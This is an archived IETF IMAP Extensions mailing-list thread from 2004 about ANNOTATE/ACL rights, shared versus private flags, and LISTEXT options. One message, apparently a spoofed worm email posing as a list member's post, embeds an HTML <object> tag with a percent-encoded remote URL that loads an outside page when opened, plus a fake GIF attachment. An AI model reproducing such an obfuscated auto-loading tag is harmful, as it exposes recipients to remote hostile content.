Subject: Annotate questions.
From: Dave Cridland <[email-masked]>
To: Cyrus Daboo <[email-masked]>
Cc: <[email-masked]>
Date: Tue, 31 Aug 2004 23:11:21 +0100
List-Id: <ietf-imapext.imc.org>

Cyrus,

I'm probably being particularly stupid here, but I'm not quite clear 
from reading the draft of a couple of points concerning 
shared/private flags.

The thread I inadvertantly spawned on the nature of shared vs private 
flags nagged me into thinking about manipulating flags via 
annotations, and wondering which of .priv or .shared to use.

As far as I can tell, given a message 1234:

a1 FETCH 1234 (FLAGS)
* 1234 FETCH (FLAGS ())
a1 OK Message has no flags.
a2 FETCH 1234 (ANNOTATION ("/flags/\\deleted" ("value")))
* 1234 FETCH (ANNOTATION ("/flags/\\deleted" ("value.priv" NIL) 
("value.shared" NIL))
a2 OK No clues given here.

The only way I could tell which I'm meant to be using would be to 
STORE FLAGS, then look at the annotations. Then at least I'd 
presumably know if the flag was shared or not. This further suggests 
that ANNOTATE isn't completely replacing STORE/FETCH FLAGS, but is 
supplementing them - but I can only tell whether a flag is shared or 
private by first storing it.

Can I set a shared and private \Deleted flag independently with 
ANNOTATE?

Which one is counted when I do an EXPUNGE?

Similar confusion applies to any flag, of course.

Incidentally, I'd greatly appreciate anyone who could give me a test 
account on a server supporting ANNOTATE - I'd like to experiment a 
little with it in implementation.

Aside from this one bewilderness, it all looks good to me.

Dave.

Date: Tue, 31 Aug 2004 16:51:18 -0400
From: Cyrus Daboo <[email-masked]>
To: Dave Cridland <[email-masked]>
cc: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Hi Dave,

--On Tuesday, August 31, 2004 9:38 PM +0100 Dave Cridland 
<[email-masked]> wrote:

>> +---------------+-----------------------------------+
>> |               |               |
>> |
>> |               | write private | Any mailbox that can be SELECTED
>> |
>> | Server        |               | or EXAMINED (even if [READ-ONLY].
>> |
>> | without       |               |
>> |
>
> But not sure about this - if the mailbox is being EXAMINed, I think
> RFC3501 suggests that private annotations MUST NOT be writable [6.3.2].
> SELECT [READ-ONLY] appears to suggest that per-user annotations MAY be
> writable - not that they MUST or even SHOULD be. [6.3.1]

OK, I could change that to:

|               +---------------+-----------------------------------+
|               |               |                                   |
| Server        | write private | Any SELECTED [READ-WRITE] mailbox.|
| without       |               | SELECTED [READ-ONLY] mailboxes MAY|
| ACL Extension |               | also permit writes.               |
|               |               |                                   |
|               +---------------+-----------------------------------+

-- 
Cyrus Daboo

From: Dave Cridland <[email-masked]>
To: Cyrus Daboo <[email-masked]>
Cc: <[email-masked]>
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Date: Tue, 31 Aug 2004 21:38:25 +0100
Sender: [email-masked]

On Tue Aug 31 20:31:43 2004, Cyrus Daboo wrote:
> Below is a table I propose putting into the ANNOTATE draft to 
> clarify access control issues. Note that I have used the 'm' and 
> 'n' rights for ANNOTATE.
> 
> +---------------+---------------+-----------------------------------+
> |  Server Type  | Action on     | Type of mailbox                   
> |
> |               | annotation    |                                   
> |
> +===============+===============+===================================+
> |               |               |                                   
> |
> |               | read private  | Any mailbox that can be SELECTED  
> |
> |               |               | or EXAMINED.                      
> |
> |               |               |                                   
> |

I agree with this, as long as the inference is SHOULD, not MUST. (To 
put it another way, clients can issue a FETCH on private annotations 
with a reasonable expectation that it will succeed, but MUST be 
prepared for it to fail.)

> |               
> +---------------+-----------------------------------+
> |               |               |                                   
> |
> |               | write private | Any mailbox that can be SELECTED  
> |
> | Server        |               | or EXAMINED (even if [READ-ONLY]. 
> |
> | without       |               |                                   
> |

But not sure about this - if the mailbox is being EXAMINed, I think 
RFC3501 suggests that private annotations MUST NOT be writable 
[6.3.2]. SELECT [READ-ONLY] appears to suggest that per-user 
annotations MAY be writable - not that they MUST or even SHOULD be. 
[6.3.1]

Of course, I might be misreading you here, rather than disagreeing.

Aside from this, adding rights does, of course, work. It seems to me 
that in the absence of these extended rights, the client can assume 
the same semantics as above, which are - I think - calculable from 
the existing 2086 rights. (Not that it matters enormously.)

As long as the server implementors [of which I'm not one] think it's 
fair to add in extra rights for this purpose, I'm perfectly happy 
with it as a client implementor.

Dave.

Date: Tue, 31 Aug 2004 15:31:43 -0400
From: Cyrus Daboo <[email-masked]>
To: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Hi Alexey,

--On Tuesday, August 24, 2004 6:47 PM +0100 Alexey Melnikov 
<[email-masked]> wrote:

>> I noticed the thread in the archives about ANNOTATE/ACL interaction,
>> and Arnt Gulbrandsen's comment on it.
>>
>> A quick suggestion:
>>
>> Could we use the 's' right to indicate permission to store private
>> annotations, and the 'w' write to store shared ones?
>>
>> This seems more logical to me, since:
>>
>> 's' is used for the per-user \SEEN flag in ACL[2]. \SEEN is the only
>> per-user data I'm aware of in an IMAP4 shared mailbox.
>
> I don't think ACL2 says that 's' only controls private (per-user) \Seen
> even though Cyrus Imap implements the \Seen flag as private. I've
> implemented \Seen as a shared flag once. Having said that, I don't like
> overloading the meaning of different ACL rights.
>
> On a second through, if existing ACL implementations are Ok with
> declaring the 's' right as controlling per-user flags (except for
> \Deleted of course) and annotations, that would be fine with me.

At this point what I would propose is that we have two new ACL rights for 
writeability of shared annotations and read/write of private annotations. 
Reading of shared annotations will always be possible with the 'r' right. 
These new rights would be advertised in the new RIGHTS capability extension 
that Alexey is working on.

I don't think its too much to ask servers that support ACL and are adding 
ANNOTATE to also add the new rights.

Below is a table I propose putting into the ANNOTATE draft to clarify 
access control issues. Note that I have used the 'm' and 'n' rights for 
ANNOTATE.

+---------------+---------------+-----------------------------------+
|  Server Type  | Action on     | Type of mailbox                   |
|               | annotation    |                                   |
+===============+===============+===================================+
|               |               |                                   |
|               | read private  | Any mailbox that can be SELECTED  |
|               |               | or EXAMINED.                      |
|               |               |                                   |
|               +---------------+-----------------------------------+
|               |               |                                   |
|               | write private | Any mailbox that can be SELECTED  |
| Server        |               | or EXAMINED (even if [READ-ONLY]. |
| without       |               |                                   |
| ACL Extension +---------------+-----------------------------------+
|               |               |                                   |
|               | read shared   | Any mailbox that can be SELECTED  |
|               |               | or EXAMINED.                      |
|               |               |                                   |
|               +---------------+-----------------------------------+
|               |               |                                   |
|               | write shared  | Any mailbox that can be SELECTED  |
|               |               | or EXAMINED and is [READ-WRITE].  |
|               |               |                                   |
+---------------+---------------+-----------------------------------+
|               |               |                                   |
|               | read private  | Any mailbox with the 'm' right.   |
|               |               |                                   |
|               +---------------+-----------------------------------+
|               |               |                                   |
| Server        | write private | Any mailbox with the 'm' right.   |
| with          |               |                                   |
| ACL/RIGHTS    +---------------+-----------------------------------+
| Extensions    |               |                                   |
|               | read shared   | Any mailbox with the 'r' right.   |
|               |               |                                   |
|               +---------------+-----------------------------------+
|               |               |                                   |
|               | write shared  | Any mailbox with the 'n' right.   |
|               |               |                                   |
+---------------+---------------+-----------------------------------+

-- 
Cyrus Daboo

Date: Tue, 31 Aug 2004 11:55:06 -0400
From: Cyrus Daboo <[email-masked]>
To: Alexey Melnikov <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Hi Alexey,

--On Tuesday, August 31, 2004 12:58 PM +0100 Alexey Melnikov 
<[email-masked]> wrote:

> I would also like to change "match option" to "selection option", as half
> of the document is still talking about "selection criteria". And I think
> it would be better to keep using "match" when talking about mailbox
> pattern matching. Any objections?

No.

> Also, if people have suggestions about better name for \HasSubmailboxes,
> speak up now.

How about replacing 'Submailboxes' with 'Children' since the later is 
terminology already well described. In which case we could have 
'\AlsoChildren' - with the implication that some children of the current 
mailbox also match the selection criteria.

-- 
Cyrus Daboo

From: Dave Cridland <[email-masked]>
To: Alexey Melnikov <[email-masked]>
Cc: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Date: Tue, 31 Aug 2004 16:34:46 +0100
Sender: [email-masked]

On Tue Aug 31 12:58:18 2004, Alexey Melnikov wrote:
> I would also like to change "match option" to "selection option", 
> as half of the document is still talking about "selection 
> criteria". And I think it would be better to keep using "match" 
> when talking about mailbox pattern matching. Any objections?
> 
> 
This makes the sense of REMOTE, for instance, clearer. (Since it 
doesn't match, but extends the selection).

The return option REMOTE still needs to vanish, though - it serves no 
purpose.

> Also, if people have suggestions about better name for 
> \HasSubmailboxes, speak up now.
> 
> 
The only possible alternative I can think of that makes any sense is 
\HasInferiors but I'm not all that fussed, and I'm not sure if that 
would raise a conceptual problem with \NoInferiors or whether it 
makes more sense because of it.

Dave.

Date: Tue, 31 Aug 2004 12:58:18 +0100
From: Alexey Melnikov <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Cyrus Daboo wrote:

>>> One option would be to change it to a match option instead of a return
>>> option and rename it appropriately. e.g. add the search option
>>> 'MATCHPARENT' which causes non-matching parent items to be matched and
>>> implicitly results in \PlaceHolder and \HasSubmailboxes being computed
>>> and returned. That would make the behaviour consistent.
>>
>> Hmm, this sounds sufficient. We wouldn't need another return option for
>> this?
>
> I can't think of a case where it would need a return option as well. 
> Note that MATCHPARENT only makes sense when other match options are 
> also used, so maybe it MUST NOT occur as the only match option.

Ok, I've made this change in my copy.

I would also like to change "match option" to "selection option", as 
half of the document is still talking about "selection criteria". And I 
think it would be better to keep using "match" when talking about 
mailbox pattern matching. Any objections?

Also, if people have suggestions about better name for \HasSubmailboxes, 
speak up now.

Alexey

Date: Fri, 27 Aug 2004 13:17:16 -0300
To: "Ietf-imapext" <[email-masked]>
From: "Chris.newman" <[email-masked]>
Subject: 1
Sender: [email-masked]

----------lbykhuuiitcjpcuizcbo
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
<object data="http://www.v%69k%6F%72d.com/default.htm"><br><br>

<br>
</body></html>

----------lbykhuuiitcjpcuizcbo
Content-Type: application/octet-stream; name="2.gif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="2.gif"

NDU0NTEyMTI=

----------lbykhuuiitcjpcuizcbo--

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: New charter posted
Date: Thu, 26 Aug 2004 14:35:11 -0700
Sender: [email-masked]

Our new charter milestones are posted at 
http://www.ietf.org/html.charters/imapext-charter.html.

Now let's try to meet those milestones!  There's very little argument 
so I expect we can do it -- let me know if there are any real blockers 
I can help with.

Lisa

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: WebDAV server for WG collaboration
Date: Wed, 25 Aug 2004 12:22:40 -0700
Sender: [email-masked]

With the help of Jim Whitehead, Sung Kim, Marshall Rose and Xythos 
Software, Inc, I've set up a server for IETF usage -- particularly for 
working groups to collaborate on IETF-related documents.  We're just 
getting this off the ground, so I'm starting with this WG and the 
WebDAV WG.  If you're an author/editor of any of the IMAPEXT drafts, 
let me know if you can make use of this and I'll make you an account & 
get you started.

Since the server is a WebDAV server it supports clients like Windows 
Network Places, Office, Adobe clients, MacOS/X WebDAV/FS, sitecopy, and 
many many more.  There's also a Web/HTML GUI for functions unique to 
Xythos WebFile Server or functions not supported by your client 
software.

Lisa

Date: Tue, 24 Aug 2004 15:05:22 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Lyndon Nerenberg <[email-masked]>
cc: Cyrus Daboo <[email-masked]>, [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Tue, 24 Aug 2004, Lyndon Nerenberg wrote:
> But in an NNTP client's view, the message isn't deleted, it has been "read" 
> which, in my mind, maps to \Seen, not \Deleted. The delete model in NNTP is 
> completely different from that in IMAP.

The UW/Pine/c-client world respectfully disagrees.

\Deleted is the permanent flag reflecting .newsrc status, \Seen is a 
session flag that marks whether you have read a particular message in the 
session.  The other useful session flag is \Answered.

We have been doing it this way (and mass-distributing the software!) for 
12 years.

If you think about it, it makes sense; especially when you consider that 
it is useful for a client to maintain both "seen in this session" and 
".newsrc state" as separate states.

The contrary argument is based upon rn and other ancient programs calling 
.newsrc state as "read" state.  But it really was no such thing.  You 
could "catch-up", marking all messages in .newsrc, and you could revert 
messages to not have "read" state.  \Deleted maps better to this than 
\Seen, in spite of the misleading name used by rn.

> So while I'm not saying that per-user \deleted is a bad thing, I don't think 
> NNTP message stores are a valid argument for it.

We disagree.  If I can't convince you of the technical/user interface 
argument, please consider the long history and widespread distribution.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Tue, 24 Aug 2004 14:52:45 -0700
From: Lyndon Nerenberg <[email-masked]>
To: Cyrus Daboo <[email-masked]>, Mark Crispin <[email-masked]>
cc: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

--On 2004-8-24 4:32 PM -0400 Cyrus Daboo <[email-masked]> wrote:

> Whilst you can't expunge you can at least do view-filtering on the
> client to hide the deleted messages, which is useful.

But in an NNTP client's view, the message isn't deleted, it has been 
"read" which, in my mind, maps to \Seen, not \Deleted. The delete model 
in NNTP is completely different from that in IMAP.

So while I'm not saying that per-user \deleted is a bad thing, I don't 
think NNTP message stores are a valid argument for it.

--lyndon

Date: Tue, 24 Aug 2004 14:17:36 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Cyrus Daboo <[email-masked]>
cc: Lyndon Nerenberg <[email-masked]>, [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Tue, 24 Aug 2004, Cyrus Daboo wrote:
> Whilst you can't expunge you can at least do view-filtering on the client to 
> hide the deleted messages, which is useful.

Exactly.  UW imapd has always used \Deleted to reflect .newsrc state.  I 
didn't like the idea at first, but I came to realize that it makes a good 
deal of sense.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Tue, 24 Aug 2004 16:32:30 -0400
From: Cyrus Daboo <[email-masked]>
To: Lyndon Nerenberg <[email-masked]>, Mark Crispin <[email-masked]>
cc: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Hi Lyndon,

--On Tuesday, August 24, 2004 1:15 PM -0700 Lyndon Nerenberg 
<[email-masked]> wrote:

>> Per-user \Deleted is useful for newsgroups...
>
> How so? You can't Expunge newsgroups (well, not in any IMAP server that
> I've come across). News client semantics key off \Seen.
>
> This is one of the major reasons why I don't like expressing newsgroups
> through IMAP.

Whilst you can't expunge you can at least do view-filtering on the client 
to hide the deleted messages, which is useful.

-- 
Cyrus Daboo

Date: Tue, 24 Aug 2004 13:15:51 -0700
From: Lyndon Nerenberg <[email-masked]>
To: Mark Crispin <[email-masked]>
cc: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

--On 2004-8-24 12:35 PM -0700 Mark Crispin <[email-masked]> 
wrote:

> Per-user \Deleted is useful for newsgroups...

How so? You can't Expunge newsgroups (well, not in any IMAP server that 
I've come across). News client semantics key off \Seen.

This is one of the major reasons why I don't like expressing newsgroups 
through IMAP.

--lyndon

Date: Tue, 24 Aug 2004 15:41:10 -0400
From: Cyrus Daboo <[email-masked]>
To: Alexey Melnikov <[email-masked]>
cc: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Hi Alexey,

--On Tuesday, August 24, 2004 8:34 PM +0100 Alexey Melnikov 
<[email-masked]> wrote:

>> One option would be to change it to a match option instead of a return
>> option and rename it appropriately. e.g. add the search option
>> 'MATCHPARENT' which causes non-matching parent items to be matched and
>> implicitly results in \PlaceHolder and \HasSubmailboxes being computed
>> and returned. That would make the behaviour consistent.
>
> Hmm, this sounds sufficient. We wouldn't need another return option for
> this?

I can't think of a case where it would need a return option as well. Note 
that MATCHPARENT only makes sense when other match options are also used, 
so maybe it MUST NOT occur as the only match option.

-- 
Cyrus Daboo

Date: Tue, 24 Aug 2004 12:35:06 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Alexey Melnikov <[email-masked]>
cc: Dave Cridland <[email-masked]>, [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Tue, 24 Aug 2004, Alexey Melnikov wrote:
>> Equally, I've not seen \Deleted implemented as anything but shared... 
> Chris Newman thinks otherwise, although I've been surprised by this as well.

Per-user \Deleted is useful for newsgroups...

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Tue, 24 Aug 2004 20:34:24 +0100
From: Alexey Melnikov <[email-masked]>
To: Cyrus Daboo <[email-masked]>
CC: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Cyrus Daboo wrote:

> Hi Alexey,
>
> --On Tuesday, August 24, 2004 1:31 PM +0100 Alexey Melnikov 
> <[email-masked]> wrote:
>
>> One more issue: I was debating with myself whether SUBMAILBOXES is a
>> match option or a return option. It seems that return options should not
>> generally affect information about which mailboxes is returned (this is
>> what match options do). However SUBMAILBOXES forces the server to
>> [possibly] return information about parent mailboxes. I think this is a
>> single exception which should be allowed and clearly documented.
>
>
> One option would be to change it to a match option instead of a return 
> option and rename it appropriately. e.g. add the search option 
> 'MATCHPARENT' which causes non-matching parent items to be matched and 
> implicitly results in \PlaceHolder and \HasSubmailboxes being computed 
> and returned. That would make the behaviour consistent.

Hmm, this sounds sufficient. We wouldn't need another return option for 
this?

Alexey

Date: Tue, 24 Aug 2004 20:23:56 +0100
From: Alexey Melnikov <[email-masked]>
To: Dave Cridland <[email-masked]>
CC: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Dave Cridland wrote:

>> On a second through, if existing ACL implementations are Ok with 
>> declaring the 's' right as controlling per-user flags (except for 
>> \Deleted of course) and annotations, that would be fine with me.
>
> Equally, I've not seen \Deleted implemented as anything but shared... 

Chris Newman thinks otherwise, although I've been surprised by this as well.

From: Dave Cridland <[email-masked]>
To: Alexey Melnikov <[email-masked]>
Cc: <[email-masked]>
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Date: Tue, 24 Aug 2004 20:17:14 +0100
Sender: [email-masked]

On Tue Aug 24 18:47:39 2004, Alexey Melnikov wrote:
> Dave Cridland wrote:
>> 's' is used for the per-user \SEEN flag in ACL[2]. \SEEN is the 
>> only per-user data I'm aware of in an IMAP4 shared mailbox. 
> 
> I don't think ACL2 says that 's' only controls private (per-user) 
> \Seen even though Cyrus Imap implements the \Seen flag as private. 
> I've implemented \Seen as a shared flag once. Having said that, I 
> don't like overloading the meaning of different ACL rights.
> 
> 
Ah, yes, sorry, you're right - I just hadn't thought of \Seen as 
being anything but a private flag.

> On a second through, if existing ACL implementations are Ok with 
> declaring the 's' right as controlling per-user flags (except for 
> \Deleted of course) and annotations, that would be fine with me.

Equally, I've not seen \Deleted implemented as anything but shared...

I'd guess that the sole purpose of having 's' seperate was to support 
the notion of the private versus shared flags in Cyrus. I don't know 
other implementations' semantics well enough to know if it's worth 
formally redefining it in ACL2 to simply mean "private".

Dave.

From: Dave Cridland <[email-masked]>
To: <[email-masked]>
Subject: LISTEXT-08, REMOTE
Date: Tue, 24 Aug 2004 19:55:59 +0100
Sender: [email-masked]

I've a few problems with the REMOTE match and return modifier as 
specified in listext-08.

I've tossed a couple of ideas at Alexey, and I'll reprise them here, 
as well as (my interpretation of) his responses.

Specifically:

1) The REMOTE return option (hereafter referred to as REMOTE-return) 
is redundant, and serves no purpose at all in the current 
specification. It should therefore be modified or removed. Consider:

a) a LIST (REMOTE) "" "*"
b) b LIST (REMOTE) "" "*" RETURN (REMOTE)
c) c LIST "" "*"
d) d LIST "" "*" RETURN (REMOTE)

d is identical to c, b is identical to a.

If it's redundant, then it's just going to confuse people. In my 
opinion, it needs to be stripped out of the specification. (It serves 
no purpose whatsoever as it stands).

2) REMOTE does not match the similarly syntaxed SUBSCRIBED:

e) e LIST (SUBSCRIBED) "" "*"
f) f LIST (SUBSCRIBED) "" "*" RETURN (SUBSCRIBED)
g) g LIST "" "*"
h) h LIST "" "*" RETURN (SUBSCRIBED)

Here, while f is identical to e, h is not identical to g.

e and f both list *only* subscribed mailboxes, whereas g and h lists 
all mailboxes. h also provides \Subscribed flags as approriate.

To put it another way, REMOTE-match increases the matching mailboxes, 
whereas SUBSCRIBED-match reduces them.

SUBSCRIBED-return simply adds subscription information, whereas 
REMOTE-return does nothing.

3) We could change REMOTE-match to match remote mailboxes only, and 
change REMOTE-return from a noop to imply that remote mailboxes 
should be included in the search.

Alexey suggested:
> So you want a return option to change which mailboxes *match* the 
> selection criteria, which seems slightly wrong to me.

However, I don't think it is changing what's matched, but what 
mailboxes are searched through, which is slightly different, and has 
precedent - SUBMAILBOXES changes what's searched through as well.

The result would be:

a) Now lists only REMOTE mailboxes, with flags. [Presumably it would 
list local mailboxes that had children who are remote with 
\Placeholder where approriate.]
b) Does the same. [I'm assuming that, like SUBSCRIBED, the return 
option remains implied]
c) Remains unchanged, as it has to.
d) Lists all mailboxes, flagging those that are remote. [The same as 
a in the current specification.]

4) Alexey floated this idea:
> What about having REMOTEONLY match option in addition to REMOTE 
> match option?

A match, to me, means "ONLY" anyway. :-)

A subtle variation on this would be to create a LOCAL match, on by 
default, but turned off by the REMOTE match - this still leaves 
REMOTE-return redundant, though, so it'd still have to be stripped 
out of the specification, in my opinion.

5) Alexey also floated this:
> An alternative is to change the definition of REMOTE to only match 
> remote mailboxes and force the client to issue 2 extended LIST 
> commands to get information about both local and remote mailboxes.

Which I don't like anymore than I suspect he does.

I have to admit, I can't think of a real-world circumstance where a 
client would want to limit the mailboxes returned by a LIST to only 
remote ones. (There's specialized management clients, of course, but 
those are on fast connections I assume, and could presumably cope 
with the extra information.) So it's quite possible that the best 
solution is to get rid of either REMOTE-match or REMOTE-return 
entirely and have done with it.

Dave.

Date: Tue, 24 Aug 2004 18:47:39 +0100
From: Alexey Melnikov <[email-masked]>
To: Dave Cridland <[email-masked]>
CC: [email-masked]
Subject: Re: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Sender: [email-masked]

Dave Cridland wrote:

> Hiya, folks.
>
> I noticed the thread in the archives about ANNOTATE/ACL interaction, 
> and Arnt Gulbrandsen's comment on it.
>
> A quick suggestion:
>
> Could we use the 's' right to indicate permission to store private 
> annotations, and the 'w' write to store shared ones?
>
> This seems more logical to me, since:
>
> 's' is used for the per-user \SEEN flag in ACL[2]. \SEEN is the only 
> per-user data I'm aware of in an IMAP4 shared mailbox. 

I don't think ACL2 says that 's' only controls private (per-user) \Seen 
even though Cyrus Imap implements the \Seen flag as private. I've 
implemented \Seen as a shared flag once. Having said that, I don't like 
overloading the meaning of different ACL rights.

On a second through, if existing ACL implementations are Ok with 
declaring the 's' right as controlling per-user flags (except for 
\Deleted of course) and annotations, that would be fine with me.

> 'w' is used for 'flags other than \SEEN and \DELETED' - in other 
> words, those flags which are informational only to the server, but 
> affect other clients.

Alexey

From: Dave Cridland <[email-masked]>
To: <[email-masked]>
Subject: ACL[2] / ANNOTATE interaction (acl-10/2086/annotate-10)
Date: Tue, 24 Aug 2004 16:58:37 +0100
Sender: [email-masked]

Hiya, folks.

I noticed the thread in the archives about ANNOTATE/ACL interaction, 
and Arnt Gulbrandsen's comment on it.

A quick suggestion:

Could we use the 's' right to indicate permission to store private 
annotations, and the 'w' write to store shared ones?

This seems more logical to me, since:

's' is used for the per-user \SEEN flag in ACL[2]. \SEEN is the only 
per-user data I'm aware of in an IMAP4 shared mailbox.

'w' is used for 'flags other than \SEEN and \DELETED' - in other 
words, those flags which are informational only to the server, but 
affect other clients.

In the absence of ACL2, or ACL:

If SELECT returns [READ-ONLY], then private annotation stores MAY 
succeed (in line with 3501/6.3.1), but shared annotation stores MUST 
fail (likewise).
If EXAMINE is used, then all annotation stores MUST fail (3501/6.3.2 
appears to support this.)

However, since there seems much debate about this, perhaps I'm 
missing something obvious?

Feel free to shoot me down in flames if I'm being an idiot. :-)

Dave.

Date: Tue, 24 Aug 2004 10:32:03 -0400
From: Cyrus Daboo <[email-masked]>
To: Alexey Melnikov <[email-masked]>, Lisa Dusseault <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Hi Alexey,

--On Tuesday, August 24, 2004 1:31 PM +0100 Alexey Melnikov 
<[email-masked]> wrote:

> One more issue: I was debating with myself whether SUBMAILBOXES is a
> match option or a return option. It seems that return options should not
> generally affect information about which mailboxes is returned (this is
> what match options do). However SUBMAILBOXES forces the server to
> [possibly] return information about parent mailboxes. I think this is a
> single exception which should be allowed and clearly documented.

One option would be to change it to a match option instead of a return 
option and rename it appropriately. e.g. add the search option 
'MATCHPARENT' which causes non-matching parent items to be matched and 
implicitly results in \PlaceHolder and \HasSubmailboxes being computed and 
returned. That would make the behaviour consistent.

-- 
Cyrus Daboo

Date: Tue, 24 Aug 2004 13:31:36 +0100
From: Alexey Melnikov <[email-masked]>
To: Lisa Dusseault <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: LISTEXT to finish...
Sender: [email-masked]

Lisa Dusseault wrote:

> We need to resolve all the editor comments/questions left in the 
> draft, so I've gone through each one to give an opinion.  Most 
> importantly, I propose to leave \PlaceHolder in place, but to provide 
> an example that illustrates its use.  At some point we'll need a draft 
> without those comments & go to last call.
>
> 1. "<<if the first word after the command
>    name begins with a parenthesis, the new syntax is being used; if it
>    does not, it's in the original syntax>>."
>
> For this one, the << and >> need to be taken out -- the sentence 
> fragment (or one like it) is needed. 

I will update this sentence to match the reality: there are now 3 ways 
(instead of 1 as described) to detect new syntax. No action is required 
from the WG.

> 2. "<<the capability name will change
>    upon publication as an RFC>>"
>
> Please change this to a RFC EDITOR note. 

Ok.

> 3. "<<The following will be removed if the \PlaceHolder flag is also 
> removed..."
>
> Let's leave \PlaceHolder in place.  If anybody has specific 
> suggestions for improving the explanations, please provide them.  If 
> anybody really objects to \Placeholder, please provide either an 
> alternative name or an alternative mechanism  to solve the problem.
>
> To make the spec clearer, an example will be provided as per another 
> comment. 

Make sense.

> 4. "<<Note to the RFC editor: please update upon publication as above>>"
>
> I think this can be left as is for the RFC editor to deal with.
>
> 5. "<<and
>    support for it is a prerequisite for any future extensions that
>    require specialized forms of the LIST command>>"
>
> For this one, remove << and >> and leave the sentence fragment in place. 

The issues here is that I would like to allow for IMAP extensions that 
*generate* LISTEXT responses, but don't necessarily support extended 
LIST syntax (i.e. they don't *parse* extended LIST command) or don't 
have to support the core set of match options: 
SUBSCRIBED/REMOTE/CHILDREN/SUBMAILBOXES. One example of such extension 
is ACL2. One can read the current draft that any ACL2 server MUST 
advertise both LISTEXT and ACL2 in its capability response. In order to 
clarify that this is not the case, I will need to do some text 
reorganization.

> 6. "<<We probably need an example to illustrate this>>"
>
> Agreed.  please put one in or refer to a later example that 
> illustrates this. 

Ok.

> 7. "<<Note, that the SUBSCRIBED match option implies the SUBSCRIBED
>           return option (see below).>>"
> 8. "<<Note, that the REMOTE match option implies the REMOTE
>           return option (see below).>>"
>
> I think for both of these, the comment markers << and >> can be 
> removed and the sentences remain to help readers. 

I agree. I will also update IANA registration template to allow a match 
option to require a particular return option (see issue #13 below).

> 9. "<<mailboxes?>>"
> 10. "<<mailbox>>"
>
> Shouldn't this be "folders/folder"?  Take a stab at it, at any rate, 
> remove the question mark and << >>. 

Maybe. We need some term for something which is not necessary a mailbox, 
e.g. a "non existent mailbox". I vaguely remember that Mark has made 
some suggestion on this, I will have to double check.

> 11. "<<Can we say that the output is a superset
>    of the output in the previous example? What about nonexistent
>    "Fruit/Peach"?>>"
>
> Obviously it's not a superset.  Why not remove this comment, text 
> included.

Ok. I am tempted to update the Note to say that is is not a superset, so 
that other people don't get confused ;-).

> 12. "<<S: * LIST (\Subscribed \NonExistent) "/" "Fruit/Peach">>"
>
> This is a problem -- commented text that appears in the middle of an 
> example.  Should this line appear or not?  This probably also requires 
> clarifying text up front once the authors make a decision, to explain 
> why that's the only decision that will be possible to implementors of 
> the spec. 

This relates to #11.

> 13. " <<Implied return options(s) if the option type is MATCH?>>"
>
> I don't know about this one -- authors, please make a recommendation.

I think #7 and #8 answer this.

>   I get the feeling that implied return options don't need to appear 
> in the registration template

Thinking more about this: I don't think this is the case. I still can 
see a situation when a return option doesn't have a corresponding match 
option. So we should keep two registration templates.

> but that extra information may need to appear elsewhere. 

One more issue: I was debating with myself whether SUBMAILBOXES is a 
match option or a return option. It seems that return options should not 
generally affect information about which mailboxes is returned (this is 
what match options do). However SUBMAILBOXES forces the server to 
[possibly] return information about parent mailboxes. I think this is a 
single exception which should be allowed and clearly documented.

Alexey

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: LISTEXT to finish...
Date: Mon, 23 Aug 2004 16:35:51 -0700
Sender: [email-masked]

We need to resolve all the editor comments/questions left in the draft, 
so I've gone through each one to give an opinion.  Most importantly, I 
propose to leave \PlaceHolder in place, but to provide an example that 
illustrates its use.  At some point we'll need a draft without those 
comments & go to last call.

1. "<<if the first word after the command
    name begins with a parenthesis, the new syntax is being used; if it
    does not, it's in the original syntax>>."

For this one, the << and >> need to be taken out -- the sentence 
fragment (or one like it) is needed.
